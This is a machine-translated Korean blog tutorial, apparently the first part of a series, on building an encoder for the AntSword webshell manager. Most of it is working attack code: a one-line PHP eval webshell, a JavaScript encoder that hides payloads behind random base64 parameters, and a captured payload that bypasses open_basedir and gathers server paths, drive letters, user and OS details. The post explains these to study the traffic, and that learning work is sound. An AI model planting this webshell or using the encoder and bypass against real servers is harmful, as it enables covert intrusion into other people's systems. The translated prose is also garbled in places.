기술나눔

Ant Sword 인코더 작성 - 1부

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

인용하다

어썸인코더

~에 의해첫 번째예를 들어
트로이 목마

<?php @eval(base64_decode($_POST['ant']));?>
  • 1

Ant 매개변수 콘텐츠를 가져온 다음 base64로 디코딩하고 실행합니다.
인코더

let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
  • 1
  • 2
  • 3

임의의 숫자인randomID를 생성하고 데이터를 base64로 인코딩한 후 이를randomID 매개변수에 전달합니다.
그 다음에eval(base64_decode($_POST[${randomID}]));die();base64 인코딩 수행

반대로
트로이 목마가 먼저 공격합니다data[pwd]그건ant값은 base64 디코딩 후에 얻어집니다.

eval(base64_decode($_POST[${randomID}]));die();
  • 1

실제로 트로이 목마는

<?php @eval(eval(base64_decode($_POST[${randomID}]));die(););?>
  • 1

생성된 난수 RandomID가 다음과 같다고 가정합니다.A, 그렇다면 그건

<?php @eval(eval(base64_decode($_POST[A]));die(););?>
  • 1

트로이 목마의 두 번째 단계에서는data[randomID], 그건$_POST[${randomID}], 즉 여기$_POST[A] base64로 인코딩되었으므로 한 번 디코딩해야 합니다. 그렇다면 왜 두 번 실행해야 합니까? ? ?그런 다음 트래픽 패키지에서 확인해야 합니다.

여기에는 환경 구축에 대한 데모가 없습니다. Xiaopi, Yijian 및 burpsuite로 충분합니다.
여기에 이미지 설명을 삽입하세요.

데이터 패킷 베이스 디코딩

ant=eval(base64_decode($_POST[_0x36c084a15bf7d]));die();
  • 1
base64_decode($_POST[_0x36c084a15bf7d])

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.f19ddead";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\|//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "59ee6d"."26ac18";echo @asenc($output);echo "3f4b"."0edf4";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

그러면 그것은 된다eval("eval(base64_decode($_POST[_0x36c084a15bf7d]);die();)")

이 큰 문단을 보고 정리해보세요

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
    if(!@is_writable($item)){
        continue;
    };
    $tmdir=$item."/.f19ddead";
    @mkdir($tmdir);
    if(!@file_exists($tmdir)){
        continue;
    }
    $tmdir=realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    $cntarr=@preg_split("/\\|//",$tmdir);
    for($i=0;$i<sizeof($cntarr);$i++){
        @chdir("..");
    };
    @ini_set("open_basedir","/");
    @rmdir($tmdir);break;};
};;
function asenc($out){
    return $out;
};
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "59ee6d"."26ac18";
    echo @asenc($output);
    echo "3f4b"."0edf4";
}
ob_start();
try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){
        foreach(range("C","Z")as $L)
        if(is_dir("{$L}:"))$R.="{$L}:";
    }else{
        $R.="/";
    }
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();$R.=php_uname();
    $R.="	{$s}";
    echo $R;;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
asoutput();
die();
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54

물론 기능은 많이 모르지만 AI는 있어요!

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
    if(!@is_writable($item)){
        continue;
    };
    $tmdir=$item."/.f19ddead";
    @mkdir($tmdir);
    if(!@file_exists($tmdir)){
        continue;
    }
    $tmdir=realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    $cntarr=@preg_split("/\\|//",$tmdir);
    for($i=0;$i<sizeof($cntarr);$i++){
        @chdir("..");
    };
    @ini_set("open_basedir","/");
    @rmdir($tmdir);break;};
};;
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25

이 단락은
오류 표시 끄기
스크립트 실행 시간 설정
open_basedir의 구성 값을 가져오고 우회합니다.open_basedir속성 제한

try{
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="")
    $D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){
        foreach(range("C","Z")as $L)
        if(is_dir("{$L}:"))$R.="{$L}:";
    }else{
        $R.="/";
    }
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();
    $R.=php_uname();
    $R.="	{$s}";
    echo $R;;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

이 섹션에서는 현재 스크립트가 있는 디렉터리를 가져오고 문자열 매개변수를 초기화합니다.$R, 드라이브 문자를 탐색하고, CZ는 드라이브 문자를 폭파하고, posix_getegid 함수를 사용하여 스크립트를 실행하는 사용자의 사용자 이름, 사용자 그룹 및 기타 내용을 얻고, 탐지합니다.$u존재 여부. 존재하지 않는 경우 get_current_user() 함수를 사용하여 운영 체제 정보를 얻으십시오.

이 시점에서 이 PHP 코드는 캐싱 메커니즘을 사용하여 트로이 목마의 현재 실행 디렉터리, 드라이브 문자, 사용자 및 운영 체제 정보를 얻습니다.
asoutput() 함수에서 일괄 출력을 수행하고,

위의 요청 패킷을 리피터 모듈에 보내고 반환된 결과가 동일한지 확인합니다.

그러나 이것은 왜 두 개의 평가가 있는지 설명할 수 없습니다. 실제로 ant가 전달한 내용은 eval의 레이어가 외부에 배치된 경우에만 내부의 평가가 함수로 실행됩니다.

<?php  
eval("eval('echo 1+1;');die();")
?>
  • 1
  • 2
  • 3

변환

<?php  
eval('eval(base64_decode("ZWNobyAiYWFhIjs="));die();')
?>
  • 1
  • 2
  • 3

여기에 이미지 설명을 삽입하세요.
최종 출력 결과는 2입니다. 이는 외부 eval이 문자열을 실행용 함수로 변환하고, eval의 내부 레이어가 콘텐츠를 실행한다는 의미입니다.

따라서 이 예에서는 트로이 목마의 eval을 사용하여 요청 패키지의 eval 기능을 활성화하여 명령 실행 효과를 얻습니다.